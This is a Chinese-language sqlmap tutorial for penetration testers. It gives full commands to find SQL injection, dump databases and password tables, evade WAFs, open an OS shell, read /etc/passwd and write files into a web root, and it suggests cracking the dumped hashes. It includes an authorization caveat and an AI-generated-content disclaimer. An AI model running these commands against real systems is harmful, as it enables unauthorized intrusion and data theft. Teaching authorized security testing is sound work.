Sqlmap使用教程
Sqlmap使用教程:从入门到实战渗透测试指南
1. Sqlmap简介
Sqlmap是一款开源的自动化SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。支持多种数据库(MySQL、Oracle、PostgreSQL等),提供数据提取、文件读写、命令执行等功能,是渗透测试人员必备工具之一。
2. 安装Sqlmap
- Kali Linux预装:Kali用户可直接在终端输入
sqlmap
启动。 - 手动安装:
- 下载源码:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
- 运行:
python sqlmap.py -h
验证安装。
- 下载源码:
3. 基础扫描命令
步骤1:检测注入点
sqlmap -u "http://example.com/page.php?id=1"
-u
:指定目标URL。- 工具自动分析参数(如
id=1
)是否存在注入漏洞。
步骤2:获取数据库信息
sqlmap -u "http://example.com/page.php?id=1" --dbs
--dbs
:列出所有数据库名称。
步骤3:提取表名
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
-D
:指定数据库名称。--tables
:列出数据库中的所有表。
步骤4:导出数据
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump
-T
:指定表名。--dump
:导出表中全部数据。
4. 高级功能实战
绕过WAF/防火墙
添加随机HTTP头或延迟请求,避免触发防护:
sqlmap -u "http://example.com/page.php?id=1" --random-agent --delay=2
--random-agent
:使用随机User-Agent头。--delay=2
:每次请求间隔2秒。
执行操作系统命令
(需数据库具备写权限)
sqlmap -u "http://example.com/page.php?id=1" --os-shell
- 获取系统Shell后,可执行
whoami
、ipconfig
等命令。
文件读写操作
- 读取服务器文件:
sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd"
- 写入本地文件到服务器:
sqlmap -u "http://example.com/page.php?id=1" --file-write="local.txt" --file-dest="/var/www/html/remote.txt"
5. 常用参数速查表 | 参数 | 功能 |
---|---|---|
--current-user |
获取数据库当前用户 | |
--passwords |
提取数据库用户密码哈希 | |
--level |
设置测试等级(1-5,默认1) | |
--risk |
设置风险等级(1-3,默认1) | |
--proxy |
通过代理服务器发送请求 | |
--batch |
自动化模式(跳过用户确认) |
6. 实战案例:快速渗透测试流程
- 检测注入点:
sqlmap -u "http://test.com/news?id=1"
- 获取数据库:
--dbs
- 选择目标库:
-D admin_db
- 提取管理员表:
--tables
- 导出账号密码:
-T users --dump
- 破解哈希:使用Hashcat或在线工具解密密码。
7. 注意事项
- 合法授权:仅对授权目标进行测试,避免触犯法律。
- 备份数据:操作
--dump
可能导致数据损坏,建议先备份。 - 更新工具:定期执行
git pull
获取最新漏洞检测规则。
通过掌握以上命令和场景,可高效利用Sqlmap检测并修复SQL注入漏洞,提升Web应用安全性。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。